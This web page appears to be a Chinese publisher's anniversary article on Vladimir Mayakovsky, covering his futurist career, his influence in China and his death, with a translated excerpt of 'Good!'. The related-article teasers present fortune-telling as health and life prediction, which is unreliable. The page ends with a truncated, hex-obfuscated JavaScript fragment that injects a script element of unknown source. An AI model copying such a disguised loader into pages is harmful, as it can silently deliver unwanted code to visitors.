首页 / 人民文学出版社 / 外国文学史上的今天

外国文学史上的今天

人民文学出版社 2020-07-20 08:05

今天是著名诗人弗拉基米尔·弗拉基米洛维奇·马雅可夫斯基诞辰127周年。

马雅可夫斯基

吉狄马加:“***和先锋的结合”

1893年7月19日,马雅可夫斯基出生在一名格鲁吉亚林务官的家里,母亲是贵族出身。13岁的时候,马雅可夫斯基的父亲一不小心被针划破了手指,最终死于破伤风,因此长大后他尽量远离胸针、别针之类的东西,而且随身携带肥皂,勤于洗手。1906年,马雅可夫斯基全家迁居莫斯科,他开始上学,并且对社会民主主义、对共产主义产生了兴趣,甚至因为参加地下活动三次被捕。正是在监狱中,他读到了巴里蒙特等人的诗,顿时对诗歌产生了深厚的兴趣,萌生了写作属于自己的诗的想法。1912年,马雅可夫斯基正式开始从事诗歌创作,并深受未来主义派的影响。他和小伙伴们发表了《给社会趣味一记耳光》,这是他们作为未来主义者的宣言。未来主义的核心就是完全背离传统,所以他们的言行有时颇为与众不同,包括穿女装、在胸前的纽扣孔里塞一根胡萝卜。1913年,诗人的处女诗集《我》出版,有绘画基础的马雅可夫斯基亲自为诗集配了插图。

在1917年的冬宫炮声中,马雅可夫斯基也高声欢呼,为十月***欢呼,为自己的艺术***欢呼。他追求标新立异,充满激情地拥抱社会变革、挑战一切陈规。他的贴近时代的主题,他的直接参与历史进程的姿态,他对社会现实的热情讴歌,他独创的楼梯体诗行,给诗坛带来阵阵新风。所谓时势造英雄。风云际会的大时代,不仅给了天才的诗人喷涌的灵感,而且给了激进的诗人恣意的舞台,《穿裤子的云》《好!》等长诗最显著的特点就是演说家般的激情。诚如著名诗人吉狄马加所说,马雅可夫斯基的作品符合近百年来所有艺术的一个特征——“***和先锋的结合”。

1923年,马雅可夫斯基成立了左翼艺术阵线(“列夫”),创办了同名杂志。这个组织不仅是文学创作团体,还吸收了一大批戏剧、美术、电影、摄影、平面设计等领域的人士。他们在先锋的道路上继续前行,而且确定了一个明确的宗旨——文艺创作应该关注社会需求,即“社会订货论”。比如马雅可夫斯基曾和友人罗琴科合作设计橡胶托拉斯的奶嘴广告:“什么奶嘴都不如这家好,我准备从小吮到老。”于是,诗歌对于马雅可夫斯基而言成为一个巨大的容器:拉来了文学、音乐、绘画,装进了人名地名、标语口号、门牌号码、大众俗语。于是,马雅可夫斯基的诗歌从殿堂里走到了大街上。马雅可夫斯基对老派诗歌读者的惊愕一笑而过,真诚地关注普通读者的反应。他说:“我继续当游吟诗人。收集了大约两万个意见条,现在真想写一本《总的答复》(答复那些小纸条)。我知道读者群众想的是什么。”

在二三十年代的苏联,马雅可夫斯基声名鹊起,他新颖的阶梯式诗行,他洪亮如钢琴般的声音,足以震撼任何一个听众。在他的演讲会或诗歌朗诵会现场,台下积攒着无数的提问。在大街上,路人交头接耳:“看呀,这是马雅可夫斯基!”在旅途中,陌生人像熟人一样和他打招呼,甚至请求他把诗集卖得便宜些,好让大家都买得起。1928年,马雅可夫斯基有一份这样的记录:“最近两个月,我到苏联各个城市作了约四十次演讲……一天里(而且不止一次),从清晨的汽笛响起到晚上的汽笛响起我一直在朗诵。”有一次马雅可夫斯基在莫斯科大剧院朗诵长诗《列宁》,观众报以二十分钟的热烈掌声,其中一位观众是约瑟夫·斯大林。

郭沫若:“早知道你的名字

早在1921年,马雅可夫斯基就作为诗人被介绍到中国,他的名字出现在胡愈之、茅盾、瞿秋白等人的文章中,他的诗歌流行在二十世纪三四十年代的中国文学界。作为无产阶级诗人的标杆,马雅可夫斯基对中国当代诗歌产生过巨大影响。许多文人在访问苏联的时候,都专程去参观马雅可夫斯基纪念馆,包括戈宝权、艾青、李季、方纪、刘白羽、戈壁舟等。1945年郭沫若应邀访问苏联时特地参观了马雅可夫斯基纪念馆,并且在题诗中说,中国人“早知道你的名字”。因为翻译的关系,马雅可夫斯基的名字曾经有过二十多种译法,比较常见的有耶谷夫斯基、梅耶戈夫斯基、马霞夸夫斯基、马亚柯夫斯基、玛雅考夫斯基、玛雅阔夫斯基、玛雅可夫斯基,从五十年代开始渐渐统一为马雅可夫斯基。

马雅可夫斯基在上世纪五六十年代的中国绝对是导师级人物。作为***诗人的旗帜,马雅可夫斯基的诗集大量出版,品种多达三十多种,其中《一亿五千万》《好!》《列宁》等长诗留在不止一代人的记忆中。他的诗歌理念和创作方法在许多文艺作品中都隐约可见,比如石方禹的长诗《和平最强音》(1950),郭小川的组诗《致青年公民》(1955),贺敬之的《放声歌唱》(1956年)。马三立先生的著名相声《开会迷》显然脱胎于马雅可夫斯基的《开会迷》。中国的马先生时常将自己与苏联的马先生联系起来,他说过:“马三立,就是中国的马雅可夫斯基!”他还说过:“外国有马雅可夫斯基,中国有马三立。”

开会迷

除了诗歌,马雅可夫斯基在戏剧舞台上也大胆改革,反对按照自然主义的方式描摹生活,主张舞台具有强烈的剧场性和假定性,追求把剧场变成演讲台,这些理论主张对苏联戏剧产生了持久的影响。他创作的《宗教滑稽剧》被誉为苏联第一部具有高度思想艺术水平的戏剧作品。在中国的戏剧舞台上,我们不难发现他的元素。马雅可夫斯基曾创作讽刺喜剧《臭虫》,在苏联大受欢迎。1958年,中国著名戏剧家田汉在剧本《十三陵水库畅想曲》中安排了这样一句台词:“哈哈,马雅可夫斯基的剧本《臭虫》说臭虫到五十年后成为稀有动物,如今在中国,臭虫之外,麻雀、耗子、苍蝇也成为稀有动物了。”2000年,导演孟京辉把马雅可夫斯基的《臭虫》搬上了中国话剧舞台。

《臭虫》海报

马雅可夫斯基:“不如趁年富力强的时刻结束生命

据说,以马雅可夫斯基命名的轮船大都沉没了。1930年4月14日,马雅可夫斯基自己的生命之舟沉没了——他用一把手枪结束了生命,进入了“37岁俱乐部”,普希金、别林斯基都是这个“俱乐部”的成员。

诗人在临终前留下遗言:“请不要因我的死怪罪任何人,也不要编造流言,逝者极不喜欢这样。”马雅可夫斯基的葬礼持续了三天,可依然不能满足他的所有粉丝来和他最后一次告别,据说有三十万人参加他的葬礼。最终,他的遗体在《国际歌》的乐声中下葬。女诗人茨维塔耶娃说,马雅可夫斯基“像人一样活着,像诗人一样死去”。

1931年4月14日,曾经担任苏维埃教育人民委员的卢那察尔斯基在共产主义学院马雅可夫斯基纪念会上发表演讲,题目是《革新家马雅可夫斯基》。他高度评价马雅可夫斯基的创作才能,同时指出,在诗人铁一般的外表下是一颗容易受伤的心。一方面,如果他的“铁”里没有包含热忱的、温柔的人道,他那些广为传诵的作品不会温暖人;另一方面,他不愿意面对自己内心的柔软,却又无能为力。或许,在1918年的诗《好好对待马》中已见端倪:“看见/大颗大颗的眼泪/从马脸上流下/隐没在毛里……/一种动物/所共有的忧郁/从我心中潺潺流泻出来/融化成喃喃细语……”

与马雅可夫斯基同时代的大诗人亚历山大·勃洛克说,艺术作品终将穿过“若干年代的死亡地带”而“在后世复活”。最后,我们欣赏一下错落有致的长诗《好!》

好!

19

差不多走遍了

整个的

地球,——

生活

是好的,

生活得

很好。

可是在我们

战斗的沸腾的欢乐中——

比那还要好得多。

长蛇似的大街

在蜿蜒着。

长蛇的两旁

是高大的楼房。

大街——

我的。

楼房——

我的。

商店

开着

窗户,

高高站着。

橱窗里

陈列着各种物产:

美酒、

水果。

纱罩

挡住了苍蝇。

干酪

十分新鲜。

灯光

辉煌。

“减

价。”

我的

合作社

资金

雄厚。

生意

兴隆。

很好。

我站在

书店的

橱窗前。

我的

名字

摆在诗歌架上。

我很高兴——

这是

我的劳动

加入

我的共和国的

劳动。

……

我们的共和国

在建设着,

成长着。

其他的国家

都已经

年迈苍苍。

历史——

走上坟墓的门口。

而我的

国家——

正在青春年少,——

创造吧,

发明吧,

试验吧!

欢乐已经来到。

我们不应该和你们

一同高兴吗?!

生活是美好的,

而且

是奇妙的。

我们可以

活到百岁

永不衰老。

我们的朝气

要一年年地

不断增长。

铁锤

和诗句啊,

赞美

这青春的大地。

——黎新 译,1959年版《马雅可夫斯基选集》第三卷

1959年版《马雅可夫斯基选集》

(撰稿人:Elena)

猜你喜欢

  • 亚历山大.普希金(1799一。1837)是俄国伟大的民族诗人,追求真理和自由的斗士,一生坎坷多难而又辉煌壮丽。他也是友谊和爱情的歌手,生性多情,浪漫轻浮,情欲强烈,曾得到许许多多年轻美丽的女子的爱恋,他又以自己炽热的爱情和优美的诗章赞颂和报答她们。诗人在16岁时..

    诗词雅言2024-03-29
  • ​人生如一场花事从花开到花落,我们一路追赶一路欣赏,若已竭尽全力那就要学会顺其自然​人生不易,不必追求太多心房很小,不必装的太满可在因上努力,需在果上随顺凡事尽心,不执着​我们一生所追逐的,除了理想和梦不过是更舒服、更自在更淡然的活着​朝起暮落淡淡享..

    诗然散文诗歌2024-03-29
  • 戊土太旺或太弱时易生胃病。木旺土弱胃病。土弱金旺胃病。水多土荡,胃疼胃出血。辰戌相冲胃受损。柱中水多而旺,土与火弱,易患胃溃疡或胃下垂。戊土弱得旺火生,火多土焦,易患胃炎、胃溃疡。柱中戊土弱遭木局克破,有刀伤之灾。辰土、戌土被其他支合化成另一五行,胃..

    命理研究2024-03-28
  • 《观音菩萨偈》观音菩萨妙难酬,清净庄严累劫修。三十二应周尘刹,百千万劫化阎浮。瓶中甘露常遍洒,手内杨枝不计秋。千处祈求千处应,苦海常作渡人舟。观音菩萨佛教日农历二月十九:观世音菩萨圣诞日农历六月十九:观世音菩萨成道日农历九月十九:观世音菩萨出家日2024..

    真九归医2024-03-27
  • 易学命理唐老师/书网友:男1985年生,请老师看看财运婚姻,单位上班人士,工作方面压力大,也没有什么积蓄,什么时候财运才能转好,婚姻上2020起就情感很不顺,2023年离异目前单身,什么时候有再婚机会,未来婚姻稳定些吗?【回复】乾造:乙丑年,壬午月,庚辰日,丁丑..

    命理易学唐老师2024-03-27
  • 在很多人眼中,诸葛亮谋略出众,军事能力超强,他乃是神一般的男人!结果在第二次北伐时期,诸葛亮以数万精锐进攻一千余人的陈仓,竟然无功而返,这是怎么回事呢?为何诸葛亮打不下区区千余人的陈仓呢?陈仓之战诸葛亮第一次北伐过后不久,准备趁曹魏没有防备,再次北伐..

    超级七品小芝麻官2024-03-27
  • 我们都知道,苏轼在文学上的成就登峰造极。他的诗风格独具,与黄庭坚并称“苏黄”;他的词豪放大气,与辛弃疾并称“苏辛”。但鲜有人知道,苏轼也是一个写寓言的大师,一生留下了百余则经典寓言。今天为大家分享5篇苏轼写的寓言故事,篇幅短小,含义深刻,读懂受用不尽..

    诗词雅言2024-03-27
  • 三国时期,群雄逐鹿,英才辈出,彼此之间,斗智斗勇,为今人留下了生动的三国故事。在我们激赏三国人物运筹帷幄的智慧、侠肝义胆的忠勇时,容易忘记这一时代诞生了一些对后世影响深远的家训文献,正是通过这些文字,我们得以见识在那个兵荒马乱的年代中三国人物内心深处..

    诗词雅言2024-03-27
  • 友字,在甲骨文里是由两个“又”构成,也就是两只右手。一个人只能有一只右手,两只右手肯定是来自两个不同的人,双方用相对灵巧的右手相互配合,互相协调来完成工作,因此产生默契、友好的含义。右手除了可以使用工具,还可以挥舞武器,两个人同时伸出右手,相当于是把..

    诗词雅言2024-03-27
  • 《唐诗三百首》是清朝蘅塘退士孙洙所编选的唐诗选集,成书于乾隆年间,共选唐诗310首。孙洙编《唐诗三百首》原本是为家族儿童学习诗歌,作为家塾课本使用,但编成后却风靡一时,甚至在某段时间内达到“家均一本”的惊人地步,是当之无愧的流传最广、影响力最大、刊印本..

    诗词雅言2024-03-27
  • 十神相互作用,结果有吉有凶。十神组合种类极多,代表不同信息,下面举例说明。伤官见官。官星代表事业、工作、地位、领导、权威、自我克制力、女性的丈夫等。官星促使人走正道,少犯错误。伤官代表骄纵、反抗、违逆、恃才傲物、蔑视权威、出口伤人等。伤官无情克制官星..

    命理研究2024-03-27
  • 贪财坏印,是命理学中的一个术语,指局中喜欢印来扶身,却见财来克破正偏印之局,财人皆喜之,故有贪财之说;比如日元甲木以癸水为正印,但见其他天干己土来合,己土为甲木正财,甲己合化土局反有克癸水之气,此为明显的贪财坏印。在命理学中印代表名誉、母亲、文凭、学..

    命理研究2024-03-27
  • 抵抗流亡或寻找理想自我1敬文东/著开场白今天,是张枣三周年的祭日。三年前的今天凌晨,张枣病逝于德国图宾根大学校医院。他去世后,我只接受过一家媒体的采访。我说,我来中央民族大学任教十多年,从未做过讲座,为了张枣,愿意破例2。转眼间,三年说过去就过去了。今..

    外国诗歌精选2024-03-27
  • 易学命理唐老师/书网友:女 1986年生,请老师看看事业财运,与婚姻,工作虽然不错,但这几人小人很多,未来能否有更好的发展,情感方面,未妻不在一个地方工作,对婚姻影响大吗?要注意什么问题,谢谢!【回复】坤造:丙寅年,己亥月,甲子日,辛未时,3岁运:戊戌,丁..

    命理易学唐老师2024-03-15
  • 在招安前,梁山108好汉战无不胜,攻无不克,在招安后,梁山军虽然偶尔吃一些败仗,在征讨辽国、田虎、王庆时,有惊无险,没有折损一位好汉。然而,在征讨方腊时,不知道出了什么事,梁山好汉一个接一个死去,他们不是战死沙场,就是病逝。梁山108好汉中,最后幸存下来的..

    魁哥说历史2024-03-13
  • 什么是木火交辉,简单的理解就是以木火为主的八字命,木火交辉格为八字算命变格的一种,出自三命通会。赋云:火明木秀,生春月以为荣。此象乃甲戌、甲午、甲寅、丙午、丙寅、丙戌等日,生春月或夏月,柱无金水伤坏,时上有木火。行木火运,木日火秀,行南方运,火日木秀..

    命理研究2024-03-13
  • 文/易学鬼手 伤官是宣泄,发挥及创造的通道,正印为吸纳,酝酿及收获的管道,伤官释放正印收纳形成一套收放自如的体系,没有正印时伤官会一路狂奔失足坠崖,而正印出现后伤官有所醒悟和收敛故狂飙之后依然可悬崖勒马。日主身弱者,最宜在命局地支或大运流年的地支见到日..

    八字预测命理2024-03-13
  • 中国人四季观念的形成可以从“春、夏、秋、冬”这几个字的本义见出一些端倪。“春”字最早见于甲骨文,本义是草的种子推土而出,开始生根发芽了。《说文解字》:“春,推也,从艸从日,艸春时生也。”作为季节的“夏”字是假借字,本义为“雄武的中国人”。《说文解字》..

    诗词雅言2024-03-09
  • 《人月圆·山中书事》元代:张可久兴亡千古繁华梦,诗眼倦天涯。孔林乔木,吴宫蔓草,楚庙寒鸦。数间茅舍,藏书万卷,投老村家。山中何事?松花酿酒,春水煎茶。译文:千古以来,兴亡更替就像繁华的春梦一样。诗人用疲倦的眼睛远望着天边。孔子家族墓地中长满乔木,吴国..

    诗词雅言2024-03-09
  • ​时光总是来去匆匆。很多时候,还没有准备好,已经开始了下一个旅程,即使光阴的转角处,花事还没有散场。人生仅以一程风景,换一场懂得,你左右不了时光,有时候也左右不了心情,一个人的路途,是一个人的欢喜一个人的歌。​光阴终不会为谁而停留,一直以为不会离开的..

    诗然散文诗歌2024-03-09
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();